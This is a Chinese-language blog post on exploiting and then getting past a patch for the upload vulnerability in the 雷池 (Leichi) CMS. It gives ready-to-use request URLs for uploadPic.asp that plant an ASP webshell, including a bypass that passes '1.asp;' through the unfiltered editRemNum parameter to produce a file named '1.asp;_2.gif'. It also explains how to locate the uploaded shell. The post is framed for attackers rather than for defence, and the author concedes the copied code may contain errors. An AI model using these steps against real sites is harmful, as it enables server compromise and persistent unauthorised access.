突破雷池上傳漏洞補丁

某日一人叫我拿幾個站發現都有打了補丁的雷池,後來偶然間看了看代碼,遂有此文

以下是雷池上傳的介紹

==========================================

假如雷池的上傳文件uploadPic.asp在admin目錄下即admin/uploadPic.asp

那麼我們可以這樣利用漏洞:

在瀏覽器中輸入:http://www.xxxx.com/admin/uploadPic.asp?actionType=mod& picName=webshell.asp出現上傳的地方.把我們的馬改成以.gif結尾的文件,上傳就可以得到一個名爲webshell.asp的 webshell了!

注意,我們上傳的webshell到底怎麼知道上傳在哪裏去了呢?

我們可以這樣來找,我們查看改網站發表的文章,這裏我們可以看到加了圖片的文章,我們右鍵圖片,查看屬性,就可以知道上傳的木馬在哪個目錄了,我們的木馬應該就是http://www.xxxx.com/admin/upload/webshell.asp


================================

打了補丁後似乎是過濾了%和.只類的符號,也就是說定義文件名是1.ASP時,返回文件名是1asp.gif


dim upload_code,remNum,remFileName,editImageNum,actionType,editRemNum  

upload_code = trim(Request.QueryString("upload_code"))  
editImageNum = trim(Request.QueryString("editImageNum"))  
actionType = trim(Request.QueryString("actionType"))  
picName = trim(Request.QueryString("picName"))  
editRemNum = trim(Request.QueryString("editRemNum"))  

if actionType= "mod" then  
   picName = Right(picName,InstrRev(picName,"/")-1)  
end if  

if upload_code = "ok" then  
'獲取文章中的圖片      
    dim upload,file,formName,formPath,iCount  
formPath="../uppic/"
.........  
    else      
       if file.FileSize>0 then         ''如果 FileSize > 0 說明有文件數據   
          '生成圖片名字  
          if actionType= "mod" then  
             remFileName = replace(Right(picName,len(picName)-InstrRev(picName,"/")),".","")&".gif"  
                  
          else  
             if editRemNum<>"" then                  
                remNum = editRemNum
             else  
                Randomize  
                remNum = Int((999 - 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)  
             end if  
             remFileName = remNum&"_"&(editImageNum+1)&".gif"  
          end if  
            
          file.SaveAs Server.mappath(formPath&remFileName)   ''保存文件   
   Response.Write(formPath&remFileName)  

可以看出editRemNum不爲空時remFileName = remNum&"_"&(editImageNum+1)&".gif"
然而在接受參數時 但沒有進行過濾 於是構造uploadPic.asp?actionType=od&editRemNum=1.asp;& upload_code=ok&editImageNum=1
得到一個名爲1.asp;_2.gif的WEBSHELL

 

?文章內容,具體代碼可能有小誤差,沒仔細看,有時間再修改,文章是直接ctrl+c,ctrl+v的,見諒?

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章